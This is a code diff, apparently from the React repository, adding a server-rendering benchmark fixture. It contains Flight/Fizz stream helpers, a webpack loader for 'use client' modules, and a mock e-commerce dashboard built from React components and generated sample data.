// Returns a promise that resolves to a web ReadableStream.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
AppComponent,
|
||||
itemCount,
|
||||
clientManifest,
|
||||
ssrManifest,
|
||||
opts
|
||||
) {
|
||||
const inject = !opts || opts.inject !== false;
|
||||
const React = require('react');
|
||||
const {renderToReadableStream} = require('react-dom/server');
|
||||
const {
|
||||
createFromReadableStream,
|
||||
} = require('react-server-dom-webpack/client.edge');
|
||||
|
||||
const webStream = renderRSCEdge(clientManifest, AppComponent, itemCount);
|
||||
|
||||
let forSsr;
|
||||
let injector;
|
||||
|
||||
if (inject) {
|
||||
const htmlTrailer = '</body></html>';
|
||||
const enc = new TextEncoder();
|
||||
|
||||
let forInline;
|
||||
[forSsr, forInline] = webStream.tee();
|
||||
|
||||
let resolveInline;
|
||||
const inlinePromise = new Promise(function (r) {
|
||||
resolveInline = r;
|
||||
});
|
||||
const htmlDecoder = new TextDecoder();
|
||||
let buffered = [];
|
||||
let timeout = null;
|
||||
|
||||
function flushBuffered(controller) {
|
||||
for (const chunk of buffered) {
|
||||
let buf = htmlDecoder.decode(chunk, {stream: true});
|
||||
if (buf.endsWith(htmlTrailer)) {
|
||||
buf = buf.slice(0, -htmlTrailer.length);
|
||||
}
|
||||
controller.enqueue(enc.encode(buf));
|
||||
}
|
||||
const remaining = htmlDecoder.decode();
|
||||
if (remaining.length) {
|
||||
let buf = remaining;
|
||||
if (buf.endsWith(htmlTrailer)) {
|
||||
buf = buf.slice(0, -htmlTrailer.length);
|
||||
}
|
||||
controller.enqueue(enc.encode(buf));
|
||||
}
|
||||
buffered.length = 0;
|
||||
timeout = null;
|
||||
}
|
||||
|
||||
function writeFlightChunk(data, controller) {
|
||||
controller.enqueue(
|
||||
enc.encode(
|
||||
'<script>(self.__FLIGHT_DATA||=[]).push(' +
|
||||
JSON.stringify(data) +
|
||||
')</script>'
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
injector = new TransformStream({
|
||||
start(controller) {
|
||||
(async function () {
|
||||
const reader = forInline.getReader();
|
||||
const decoder = new TextDecoder('utf-8', {fatal: true});
|
||||
for (;;) {
|
||||
const {done, value} = await reader.read();
|
||||
if (done) break;
|
||||
writeFlightChunk(decoder.decode(value, {stream: true}), controller);
|
||||
}
|
||||
const remaining = decoder.decode();
|
||||
if (remaining.length) {
|
||||
writeFlightChunk(remaining, controller);
|
||||
}
|
||||
resolveInline();
|
||||
})();
|
||||
},
|
||||
transform(chunk, controller) {
|
||||
buffered.push(chunk);
|
||||
if (!timeout) {
|
||||
timeout = setTimeout(function () {
|
||||
flushBuffered(controller);
|
||||
}, 0);
|
||||
}
|
||||
},
|
||||
async flush(controller) {
|
||||
await inlinePromise;
|
||||
if (timeout) {
|
||||
clearTimeout(timeout);
|
||||
flushBuffered(controller);
|
||||
}
|
||||
controller.enqueue(enc.encode(htmlTrailer));
|
||||
},
|
||||
});
|
||||
} else {
|
||||
forSsr = webStream;
|
||||
}
|
||||
|
||||
const cachedResult = createFromReadableStream(forSsr, {
|
||||
serverConsumerManifest: ssrManifest,
|
||||
});
|
||||
function Root() {
|
||||
return React.use(cachedResult);
|
||||
}
|
||||
|
||||
return renderToReadableStream(React.createElement(Root)).then(
|
||||
function (htmlStream) {
|
||||
return injector ? htmlStream.pipeThrough(injector) : htmlStream;
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Utilities: collect streams into strings.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function nodeStreamToString(nodeStream) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
const chunks = [];
|
||||
nodeStream.on('data', function (chunk) {
|
||||
chunks.push(chunk);
|
||||
});
|
||||
nodeStream.on('end', function () {
|
||||
resolve(Buffer.concat(chunks).toString('utf-8'));
|
||||
});
|
||||
nodeStream.on('error', reject);
|
||||
});
|
||||
}
|
||||
|
||||
function webStreamToString(webStream) {
|
||||
const reader = webStream.getReader();
|
||||
const chunks = [];
|
||||
function read() {
|
||||
return reader.read().then(function ({done, value}) {
|
||||
if (done) {
|
||||
return Buffer.concat(chunks).toString('utf-8');
|
||||
}
|
||||
chunks.push(Buffer.from(value));
|
||||
return read();
|
||||
});
|
||||
}
|
||||
return read();
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
renderFizzNode,
|
||||
renderFizzEdge,
|
||||
renderFlightFizzNode,
|
||||
renderFlightFizzEdge,
|
||||
nodeStreamToString,
|
||||
webStreamToString,
|
||||
};
|
||||
22
fixtures/flight-ssr-bench/rsc-client-ref-loader.js
Normal file
22
fixtures/flight-ssr-bench/rsc-client-ref-loader.js
Normal file
@@ -0,0 +1,22 @@
|
||||
'use strict';
|
||||
|
||||
const url = require('url');
|
||||
|
||||
// Webpack loader that runs in the RSC compilation.
|
||||
// When a module starts with 'use client', it replaces the entire source
|
||||
// with a client module proxy. This makes the RSC renderer serialize a
|
||||
// client reference into the Flight stream instead of rendering the component.
|
||||
module.exports = function rscClientRefLoader(source) {
|
||||
const trimmed = source.trimStart();
|
||||
if (
|
||||
trimmed.startsWith("'use client'") ||
|
||||
trimmed.startsWith('"use client"')
|
||||
) {
|
||||
const href = url.pathToFileURL(this.resourcePath).href;
|
||||
return [
|
||||
`const { createClientModuleProxy } = require('react-server-dom-webpack/server');`,
|
||||
`module.exports = createClientModuleProxy(${JSON.stringify(href)});`,
|
||||
].join('\n');
|
||||
}
|
||||
return source;
|
||||
};
|
||||
18
fixtures/flight-ssr-bench/src/App.js
Normal file
18
fixtures/flight-ssr-bench/src/App.js
Normal file
@@ -0,0 +1,18 @@
|
||||
import Shell from './components/Shell';
|
||||
import Sidebar from './components/Sidebar';
|
||||
import Dashboard from './components/Dashboard';
|
||||
import Footer from './components/Footer';
|
||||
|
||||
export default function App({itemCount}) {
|
||||
return (
|
||||
<html>
|
||||
<body>
|
||||
<Shell>
|
||||
<Sidebar itemCount={itemCount} />
|
||||
<Dashboard itemCount={itemCount} />
|
||||
<Footer />
|
||||
</Shell>
|
||||
</body>
|
||||
</html>
|
||||
);
|
||||
}
|
||||
18
fixtures/flight-ssr-bench/src/AppAsync.js
Normal file
18
fixtures/flight-ssr-bench/src/AppAsync.js
Normal file
@@ -0,0 +1,18 @@
|
||||
import Shell from './components/Shell';
|
||||
import Sidebar from './components/Sidebar';
|
||||
import DashboardAsync from './components/DashboardAsync';
|
||||
import Footer from './components/Footer';
|
||||
|
||||
export default function AppAsync({itemCount}) {
|
||||
return (
|
||||
<html>
|
||||
<body>
|
||||
<Shell>
|
||||
<Sidebar itemCount={itemCount} />
|
||||
<DashboardAsync itemCount={itemCount} />
|
||||
<Footer />
|
||||
</Shell>
|
||||
</body>
|
||||
</html>
|
||||
);
|
||||
}
|
||||
21
fixtures/flight-ssr-bench/src/components/ActivityFeed.js
Normal file
21
fixtures/flight-ssr-bench/src/components/ActivityFeed.js
Normal file
@@ -0,0 +1,21 @@
|
||||
import ActivityItem from './ActivityItem';
|
||||
|
||||
export default function ActivityFeed({activities}) {
|
||||
return (
|
||||
<div className="activity-feed">
|
||||
<h3>Recent Activity</h3>
|
||||
<ul className="activity-list">
|
||||
{activities.map(activity => (
|
||||
<ActivityItem
|
||||
key={activity.id}
|
||||
type={activity.type}
|
||||
user={activity.user}
|
||||
message={activity.message}
|
||||
timestamp={activity.timestamp}
|
||||
details={activity.details}
|
||||
/>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
27
fixtures/flight-ssr-bench/src/components/ActivityItem.js
Normal file
27
fixtures/flight-ssr-bench/src/components/ActivityItem.js
Normal file
@@ -0,0 +1,27 @@
|
||||
'use client';
|
||||
|
||||
export default function ActivityItem({
|
||||
type,
|
||||
user,
|
||||
message,
|
||||
timestamp,
|
||||
details,
|
||||
}) {
|
||||
return (
|
||||
<li className={'activity-item activity-' + type}>
|
||||
<div className="activity-icon" data-type={type} />
|
||||
<div className="activity-content">
|
||||
<p className="activity-message">{message}</p>
|
||||
<div className="activity-meta">
|
||||
<span className="activity-user">{user}</span>
|
||||
<span className="activity-time">{timestamp}</span>
|
||||
{details && (
|
||||
<span className="activity-details">
|
||||
{details.amount} · {details.items} items
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
13
fixtures/flight-ssr-bench/src/components/Avatar.js
Normal file
13
fixtures/flight-ssr-bench/src/components/Avatar.js
Normal file
@@ -0,0 +1,13 @@
|
||||
'use client';
|
||||
|
||||
export default function Avatar({name, role, src}) {
|
||||
return (
|
||||
<div className="avatar-container">
|
||||
<img className="avatar-img" src={src} alt={name} width={32} height={32} />
|
||||
<div className="avatar-info">
|
||||
<span className="avatar-name">{name}</span>
|
||||
<span className="avatar-role">{role}</span>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
6
fixtures/flight-ssr-bench/src/components/Badge.js
Normal file
6
fixtures/flight-ssr-bench/src/components/Badge.js
Normal file
@@ -0,0 +1,6 @@
|
||||
'use client';
|
||||
|
||||
export default function Badge({count, variant}) {
|
||||
const className = 'badge' + (variant ? ' badge-' + variant : '');
|
||||
return <span className={className}>{count}</span>;
|
||||
}
|
||||
24
fixtures/flight-ssr-bench/src/components/ChartPanel.js
Normal file
24
fixtures/flight-ssr-bench/src/components/ChartPanel.js
Normal file
@@ -0,0 +1,24 @@
|
||||
'use client';
|
||||
|
||||
export default function ChartPanel({title, data, type}) {
|
||||
const maxVal = Math.max(...data.map(d => d.value));
|
||||
return (
|
||||
<div className="chart-panel">
|
||||
<h3 className="chart-title">{title}</h3>
|
||||
<div className={'chart chart-' + type}>
|
||||
{data.map(point => (
|
||||
<div key={point.month} className="chart-bar-group">
|
||||
<div
|
||||
className="chart-bar"
|
||||
style={{height: Math.round((point.value / maxVal) * 100) + '%'}}
|
||||
/>
|
||||
<span className="chart-label">{point.month}</span>
|
||||
<span className="chart-value">
|
||||
${(point.value / 1000).toFixed(0)}k
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
32
fixtures/flight-ssr-bench/src/components/Dashboard.js
Normal file
32
fixtures/flight-ssr-bench/src/components/Dashboard.js
Normal file
@@ -0,0 +1,32 @@
|
||||
import StatsGrid from './StatsGrid';
|
||||
import ProductTable from './ProductTable';
|
||||
import ActivityFeed from './ActivityFeed';
|
||||
import ChartPanel from './ChartPanel';
|
||||
import {generateProducts, generateActivities, generateStats} from './data';
|
||||
|
||||
export default function Dashboard({itemCount}) {
|
||||
const products = generateProducts(itemCount);
|
||||
const activities = generateActivities(Math.min(itemCount, 50));
|
||||
const stats = generateStats();
|
||||
|
||||
return (
|
||||
<main className="dashboard">
|
||||
<div className="dashboard-header">
|
||||
<h1>Dashboard Overview</h1>
|
||||
<p className="dashboard-subtitle">
|
||||
Welcome back. Here is what is happening with your store today.
|
||||
</p>
|
||||
</div>
|
||||
<StatsGrid stats={stats} />
|
||||
<div className="dashboard-grid">
|
||||
<div className="dashboard-main">
|
||||
<ProductTable products={products} />
|
||||
</div>
|
||||
<div className="dashboard-aside">
|
||||
<ChartPanel title="Revenue" data={stats.revenueByMonth} type="bar" />
|
||||
<ActivityFeed activities={activities} />
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
);
|
||||
}
|
||||
144
fixtures/flight-ssr-bench/src/components/DashboardAsync.js
Normal file
144
fixtures/flight-ssr-bench/src/components/DashboardAsync.js
Normal file
@@ -0,0 +1,144 @@
|
||||
import {Suspense} from 'react';
|
||||
import StatsGrid from './StatsGrid';
|
||||
import TableRow from './TableRow';
|
||||
import TableHeader from './TableHeader';
|
||||
import Pagination from './Pagination';
|
||||
import ActivityItem from './ActivityItem';
|
||||
import ChartPanel from './ChartPanel';
|
||||
import Skeleton from './Skeleton';
|
||||
import {generateProducts, generateActivities, generateStats} from './data';
|
||||
|
||||
function fetchData(generator, ...args) {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => resolve(generator(...args)), 1);
|
||||
});
|
||||
}
|
||||
|
||||
function fetchDelayed(value, delayMs) {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => resolve(value), delayMs);
|
||||
});
|
||||
}
|
||||
|
||||
async function AsyncStatsSection() {
|
||||
const stats = await fetchData(generateStats);
|
||||
return <StatsGrid stats={stats} />;
|
||||
}
|
||||
|
||||
const productColumns = [
|
||||
{key: 'name', label: 'Product'},
|
||||
{key: 'sku', label: 'SKU'},
|
||||
{key: 'category', label: 'Category'},
|
||||
{key: 'price', label: 'Price'},
|
||||
{key: 'stock', label: 'Stock'},
|
||||
{key: 'status', label: 'Status'},
|
||||
{key: 'rating', label: 'Rating'},
|
||||
];
|
||||
|
||||
async function AsyncProductRow({product, delay}) {
|
||||
const resolved = await fetchDelayed(product, delay);
|
||||
return <TableRow product={resolved} columns={productColumns} />;
|
||||
}
|
||||
|
||||
async function AsyncProductSection({itemCount}) {
|
||||
const products = await fetchData(generateProducts, itemCount);
|
||||
return (
|
||||
<div className="product-table-container">
|
||||
<div className="table-toolbar">
|
||||
<h2>Products</h2>
|
||||
<span className="table-count">{products.length} items</span>
|
||||
</div>
|
||||
<table className="product-table">
|
||||
<thead>
|
||||
<tr>
|
||||
{productColumns.map(col => (
|
||||
<TableHeader key={col.key} column={col} />
|
||||
))}
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{products.map((product, i) => (
|
||||
<Suspense
|
||||
key={product.id}
|
||||
fallback={
|
||||
<tr>
|
||||
<td colSpan={7}>Loading...</td>
|
||||
</tr>
|
||||
}>
|
||||
<AsyncProductRow product={product} delay={1 + (i % 5)} />
|
||||
</Suspense>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
<Pagination total={products.length} pageSize={20} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
async function AsyncChartSection() {
|
||||
const stats = await fetchData(generateStats);
|
||||
return <ChartPanel title="Revenue" data={stats.revenueByMonth} type="bar" />;
|
||||
}
|
||||
|
||||
async function AsyncActivityItem({activity, delay}) {
|
||||
const resolved = await fetchDelayed(activity, delay);
|
||||
return (
|
||||
<ActivityItem
|
||||
type={resolved.type}
|
||||
user={resolved.user}
|
||||
message={resolved.message}
|
||||
timestamp={resolved.timestamp}
|
||||
details={resolved.details}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
async function AsyncActivitySection({itemCount}) {
|
||||
const activities = await fetchData(
|
||||
generateActivities,
|
||||
Math.min(itemCount, 50)
|
||||
);
|
||||
return (
|
||||
<div className="activity-feed">
|
||||
<h3>Recent Activity</h3>
|
||||
<ul className="activity-list">
|
||||
{activities.map((activity, i) => (
|
||||
<Suspense key={activity.id} fallback={<li>Loading...</li>}>
|
||||
<AsyncActivityItem activity={activity} delay={1 + (i % 5)} />
|
||||
</Suspense>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function DashboardAsync({itemCount}) {
|
||||
return (
|
||||
<main className="dashboard">
|
||||
<div className="dashboard-header">
|
||||
<h1>Dashboard Overview</h1>
|
||||
<p className="dashboard-subtitle">
|
||||
Welcome back. Here is what is happening with your store today.
|
||||
</p>
|
||||
</div>
|
||||
<Suspense fallback={<Skeleton type="stats" />}>
|
||||
<AsyncStatsSection />
|
||||
</Suspense>
|
||||
<div className="dashboard-grid">
|
||||
<div className="dashboard-main">
|
||||
<Suspense fallback={<Skeleton type="table" />}>
|
||||
<AsyncProductSection itemCount={itemCount} />
|
||||
</Suspense>
|
||||
</div>
|
||||
<div className="dashboard-aside">
|
||||
<Suspense fallback={<Skeleton type="chart" />}>
|
||||
<AsyncChartSection />
|
||||
</Suspense>
|
||||
<Suspense fallback={<Skeleton type="feed" />}>
|
||||
<AsyncActivitySection itemCount={itemCount} />
|
||||
</Suspense>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
);
|
||||
}
|
||||
47
fixtures/flight-ssr-bench/src/components/Footer.js
Normal file
47
fixtures/flight-ssr-bench/src/components/Footer.js
Normal file
@@ -0,0 +1,47 @@
|
||||
import FooterLink from './FooterLink';
|
||||
|
||||
const footerSections = [
|
||||
{
|
||||
title: 'Product',
|
||||
links: ['Features', 'Pricing', 'Changelog', 'Docs', 'API Reference'],
|
||||
},
|
||||
{
|
||||
title: 'Company',
|
||||
links: ['About', 'Blog', 'Careers', 'Press', 'Partners'],
|
||||
},
|
||||
{
|
||||
title: 'Support',
|
||||
links: ['Help Center', 'Contact', 'Status', 'Community', 'Security'],
|
||||
},
|
||||
{
|
||||
title: 'Legal',
|
||||
links: ['Privacy', 'Terms', 'Cookie Policy', 'Licenses', 'GDPR'],
|
||||
},
|
||||
];
|
||||
|
||||
export default function Footer() {
|
||||
return (
|
||||
<footer className="app-footer">
|
||||
<div className="footer-grid">
|
||||
{footerSections.map(section => (
|
||||
<div key={section.title} className="footer-section">
|
||||
<h4>{section.title}</h4>
|
||||
<ul>
|
||||
{section.links.map(link => (
|
||||
<li key={link}>
|
||||
<FooterLink
|
||||
href={'/' + link.toLowerCase().replace(/\s+/g, '-')}>
|
||||
{link}
|
||||
</FooterLink>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<div className="footer-bottom">
|
||||
<p>© 2026 Acme Inc. All rights reserved.</p>
|
||||
</div>
|
||||
</footer>
|
||||
);
|
||||
}
|
||||
9
fixtures/flight-ssr-bench/src/components/FooterLink.js
Normal file
9
fixtures/flight-ssr-bench/src/components/FooterLink.js
Normal file
@@ -0,0 +1,9 @@
|
||||
'use client';
|
||||
|
||||
export default function FooterLink({href, children}) {
|
||||
return (
|
||||
<a className="footer-link" href={href}>
|
||||
{children}
|
||||
</a>
|
||||
);
|
||||
}
|
||||
22
fixtures/flight-ssr-bench/src/components/Header.js
Normal file
22
fixtures/flight-ssr-bench/src/components/Header.js
Normal file
@@ -0,0 +1,22 @@
|
||||
'use client';
|
||||
|
||||
import Avatar from './Avatar';
|
||||
import SearchBar from './SearchBar';
|
||||
import NotificationBell from './NotificationBell';
|
||||
|
||||
export default function Header({title, user}) {
|
||||
return (
|
||||
<header className="app-header">
|
||||
<div className="header-left">
|
||||
<h1 className="header-title">{title}</h1>
|
||||
</div>
|
||||
<div className="header-center">
|
||||
<SearchBar placeholder="Search products, orders, customers..." />
|
||||
</div>
|
||||
<div className="header-right">
|
||||
<NotificationBell count={3} />
|
||||
<Avatar name={user.name} role={user.role} src={user.avatar} />
|
||||
</div>
|
||||
</header>
|
||||
);
|
||||
}
|
||||
10
fixtures/flight-ssr-bench/src/components/NavLink.js
Normal file
10
fixtures/flight-ssr-bench/src/components/NavLink.js
Normal file
@@ -0,0 +1,10 @@
|
||||
'use client';
|
||||
|
||||
export default function NavLink({href, icon, children}) {
|
||||
return (
|
||||
<a className="nav-link" href={href}>
|
||||
<span className="nav-icon" data-icon={icon} />
|
||||
<span className="nav-label">{children}</span>
|
||||
</a>
|
||||
);
|
||||
}
|
||||
10
fixtures/flight-ssr-bench/src/components/NotificationBell.js
Normal file
10
fixtures/flight-ssr-bench/src/components/NotificationBell.js
Normal file
@@ -0,0 +1,10 @@
|
||||
'use client';
|
||||
|
||||
export default function NotificationBell({count}) {
|
||||
return (
|
||||
<button className="notification-bell" aria-label="Notifications">
|
||||
<span className="bell-icon">🔔</span>
|
||||
{count > 0 && <span className="notification-badge">{count}</span>}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
26
fixtures/flight-ssr-bench/src/components/Pagination.js
Normal file
26
fixtures/flight-ssr-bench/src/components/Pagination.js
Normal file
@@ -0,0 +1,26 @@
|
||||
'use client';
|
||||
|
||||
export default function Pagination({total, pageSize}) {
|
||||
const pageCount = Math.ceil(total / pageSize);
|
||||
const pages = [];
|
||||
for (let i = 1; i <= pageCount; i++) {
|
||||
pages.push(i);
|
||||
}
|
||||
return (
|
||||
<div className="pagination">
|
||||
<button className="pagination-btn" disabled>
|
||||
Previous
|
||||
</button>
|
||||
<div className="pagination-pages">
|
||||
{pages.map(page => (
|
||||
<button
|
||||
key={page}
|
||||
className={'pagination-page' + (page === 1 ? ' active' : '')}>
|
||||
{page}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<button className="pagination-btn">Next</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
40
fixtures/flight-ssr-bench/src/components/ProductTable.js
Normal file
40
fixtures/flight-ssr-bench/src/components/ProductTable.js
Normal file
@@ -0,0 +1,40 @@
|
||||
import TableRow from './TableRow';
|
||||
import TableHeader from './TableHeader';
|
||||
import Badge from './Badge';
|
||||
import Pagination from './Pagination';
|
||||
|
||||
const columns = [
|
||||
{key: 'name', label: 'Product'},
|
||||
{key: 'sku', label: 'SKU'},
|
||||
{key: 'category', label: 'Category'},
|
||||
{key: 'price', label: 'Price'},
|
||||
{key: 'stock', label: 'Stock'},
|
||||
{key: 'status', label: 'Status'},
|
||||
{key: 'rating', label: 'Rating'},
|
||||
];
|
||||
|
||||
export default function ProductTable({products}) {
|
||||
return (
|
||||
<div className="product-table-container">
|
||||
<div className="table-toolbar">
|
||||
<h2>Products</h2>
|
||||
<span className="table-count">{products.length} items</span>
|
||||
</div>
|
||||
<table className="product-table">
|
||||
<thead>
|
||||
<tr>
|
||||
{columns.map(col => (
|
||||
<TableHeader key={col.key} column={col} />
|
||||
))}
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{products.map(product => (
|
||||
<TableRow key={product.id} product={product} columns={columns} />
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
<Pagination total={products.length} pageSize={20} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
11
fixtures/flight-ssr-bench/src/components/SearchBar.js
Normal file
11
fixtures/flight-ssr-bench/src/components/SearchBar.js
Normal file
@@ -0,0 +1,11 @@
|
||||
'use client';
|
||||
|
||||
export default function SearchBar({placeholder}) {
|
||||
return (
|
||||
<div className="search-bar">
|
||||
<span className="search-icon">🔍</span>
|
||||
<input type="search" className="search-input" placeholder={placeholder} />
|
||||
<kbd className="search-shortcut">⌘K</kbd>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
16
fixtures/flight-ssr-bench/src/components/Shell.js
Normal file
16
fixtures/flight-ssr-bench/src/components/Shell.js
Normal file
@@ -0,0 +1,16 @@
|
||||
import Header from './Header';
|
||||
import ThemeProvider from './ThemeProvider';
|
||||
|
||||
export default function Shell({children}) {
|
||||
return (
|
||||
<ThemeProvider theme="light">
|
||||
<div className="app-shell">
|
||||
<Header
|
||||
title="Acme Dashboard"
|
||||
user={{name: 'Jane Smith', role: 'Admin', avatar: '/img/avatar.png'}}
|
||||
/>
|
||||
<div className="app-content">{children}</div>
|
||||
</div>
|
||||
</ThemeProvider>
|
||||
);
|
||||
}
|
||||
58
fixtures/flight-ssr-bench/src/components/Sidebar.js
Normal file
58
fixtures/flight-ssr-bench/src/components/Sidebar.js
Normal file
@@ -0,0 +1,58 @@
|
||||
import NavLink from './NavLink';
|
||||
import SidebarSection from './SidebarSection';
|
||||
import Badge from './Badge';
|
||||
|
||||
const navItems = [
|
||||
{href: '/', label: 'Dashboard', icon: 'home'},
|
||||
{href: '/products', label: 'Products', icon: 'box', count: 142},
|
||||
{href: '/orders', label: 'Orders', icon: 'cart', count: 38},
|
||||
{href: '/customers', label: 'Customers', icon: 'users'},
|
||||
{href: '/analytics', label: 'Analytics', icon: 'chart'},
|
||||
{href: '/settings', label: 'Settings', icon: 'gear'},
|
||||
];
|
||||
|
||||
const recentItems = [
|
||||
{id: 1, label: 'Order #1234', status: 'pending'},
|
||||
{id: 2, label: 'Order #1235', status: 'shipped'},
|
||||
{id: 3, label: 'Order #1236', status: 'delivered'},
|
||||
{id: 4, label: 'Return #891', status: 'processing'},
|
||||
];
|
||||
|
||||
export default function Sidebar({itemCount}) {
|
||||
return (
|
||||
<aside className="sidebar">
|
||||
<nav className="sidebar-nav">
|
||||
<SidebarSection title="Navigation">
|
||||
{navItems.map(item => (
|
||||
<NavLink key={item.href} href={item.href} icon={item.icon}>
|
||||
{item.label}
|
||||
{item.count != null && <Badge count={item.count} />}
|
||||
</NavLink>
|
||||
))}
|
||||
</SidebarSection>
|
||||
<SidebarSection title="Recent Activity">
|
||||
{recentItems.map(item => (
|
||||
<div key={item.id} className="recent-item">
|
||||
<span className="recent-label">{item.label}</span>
|
||||
<Badge count={item.status} variant="status" />
|
||||
</div>
|
||||
))}
|
||||
</SidebarSection>
|
||||
<SidebarSection title="Quick Stats">
|
||||
<div className="stat">
|
||||
<span className="stat-label">Total Items</span>
|
||||
<span className="stat-value">{itemCount}</span>
|
||||
</div>
|
||||
<div className="stat">
|
||||
<span className="stat-label">Active Users</span>
|
||||
<span className="stat-value">1,247</span>
|
||||
</div>
|
||||
<div className="stat">
|
||||
<span className="stat-label">Revenue</span>
|
||||
<span className="stat-value">$84,320</span>
|
||||
</div>
|
||||
</SidebarSection>
|
||||
</nav>
|
||||
</aside>
|
||||
);
|
||||
}
|
||||
10
fixtures/flight-ssr-bench/src/components/SidebarSection.js
Normal file
10
fixtures/flight-ssr-bench/src/components/SidebarSection.js
Normal file
@@ -0,0 +1,10 @@
|
||||
'use client';
|
||||
|
||||
export default function SidebarSection({title, children}) {
|
||||
return (
|
||||
<div className="sidebar-section">
|
||||
<h3 className="sidebar-section-title">{title}</h3>
|
||||
<div className="sidebar-section-content">{children}</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
9
fixtures/flight-ssr-bench/src/components/Skeleton.js
Normal file
9
fixtures/flight-ssr-bench/src/components/Skeleton.js
Normal file
@@ -0,0 +1,9 @@
|
||||
'use client';
|
||||
|
||||
export default function Skeleton({type}) {
|
||||
return (
|
||||
<div className={'skeleton skeleton-' + type} aria-busy="true">
|
||||
<div className="skeleton-shimmer" />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
24
fixtures/flight-ssr-bench/src/components/StatCard.js
Normal file
24
fixtures/flight-ssr-bench/src/components/StatCard.js
Normal file
@@ -0,0 +1,24 @@
|
||||
'use client';
|
||||
|
||||
export default function StatCard({title, value, change, trend, sparkline}) {
|
||||
return (
|
||||
<div className="stat-card">
|
||||
<div className="stat-card-header">
|
||||
<span className="stat-card-title">{title}</span>
|
||||
<span className={'stat-card-change trend-' + trend}>{change}</span>
|
||||
</div>
|
||||
<div className="stat-card-value">{value}</div>
|
||||
<div className="stat-card-sparkline">
|
||||
{sparkline.map((point, i) => (
|
||||
<span
|
||||
key={i}
|
||||
className="sparkline-bar"
|
||||
style={{
|
||||
height: Math.round((point / Math.max(...sparkline)) * 100) + '%',
|
||||
}}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
18
fixtures/flight-ssr-bench/src/components/StatsGrid.js
Normal file
18
fixtures/flight-ssr-bench/src/components/StatsGrid.js
Normal file
@@ -0,0 +1,18 @@
|
||||
import StatCard from './StatCard';
|
||||
|
||||
export default function StatsGrid({stats}) {
|
||||
return (
|
||||
<div className="stats-grid">
|
||||
{stats.cards.map(card => (
|
||||
<StatCard
|
||||
key={card.title}
|
||||
title={card.title}
|
||||
value={card.value}
|
||||
change={card.change}
|
||||
trend={card.trend}
|
||||
sparkline={card.sparkline}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
10
fixtures/flight-ssr-bench/src/components/TableHeader.js
Normal file
10
fixtures/flight-ssr-bench/src/components/TableHeader.js
Normal file
@@ -0,0 +1,10 @@
|
||||
'use client';
|
||||
|
||||
export default function TableHeader({column}) {
|
||||
return (
|
||||
<th className="table-header" data-column={column.key}>
|
||||
<span className="table-header-label">{column.label}</span>
|
||||
<span className="table-header-sort" aria-label="Sort" />
|
||||
</th>
|
||||
);
|
||||
}
|
||||
31
fixtures/flight-ssr-bench/src/components/TableRow.js
Normal file
31
fixtures/flight-ssr-bench/src/components/TableRow.js
Normal file
@@ -0,0 +1,31 @@
|
||||
'use client';
|
||||
|
||||
import Badge from './Badge';
|
||||
|
||||
export default function TableRow({product, columns}) {
|
||||
return (
|
||||
<tr className="table-row">
|
||||
{columns.map(col => (
|
||||
<td key={col.key} className="table-cell" data-column={col.key}>
|
||||
{col.key === 'status' ? (
|
||||
<Badge count={product[col.key]} variant="status" />
|
||||
) : col.key === 'price' ? (
|
||||
<span className="price">${product[col.key]}</span>
|
||||
) : col.key === 'rating' ? (
|
||||
<span className="rating">
|
||||
<span className="star">★</span> {product[col.key]}
|
||||
<span className="review-count">({product.reviewCount})</span>
|
||||
</span>
|
||||
) : col.key === 'name' ? (
|
||||
<div className="product-name-cell">
|
||||
<span className="product-name">{product.name}</span>
|
||||
<span className="product-category">{product.category}</span>
|
||||
</div>
|
||||
) : (
|
||||
product[col.key]
|
||||
)}
|
||||
</td>
|
||||
))}
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
'use client';
|
||||
|
||||
export default function ThemeProvider({theme, children}) {
|
||||
return (
|
||||
<div className={'theme-' + theme} data-theme={theme}>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
293
fixtures/flight-ssr-bench/src/components/data.js
Normal file
293
fixtures/flight-ssr-bench/src/components/data.js
Normal file
@@ -0,0 +1,293 @@
|
||||
const categories = [
|
||||
'Electronics',
|
||||
'Clothing',
|
||||
'Home & Garden',
|
||||
'Sports',
|
||||
'Books',
|
||||
'Toys',
|
||||
'Food',
|
||||
'Health',
|
||||
];
|
||||
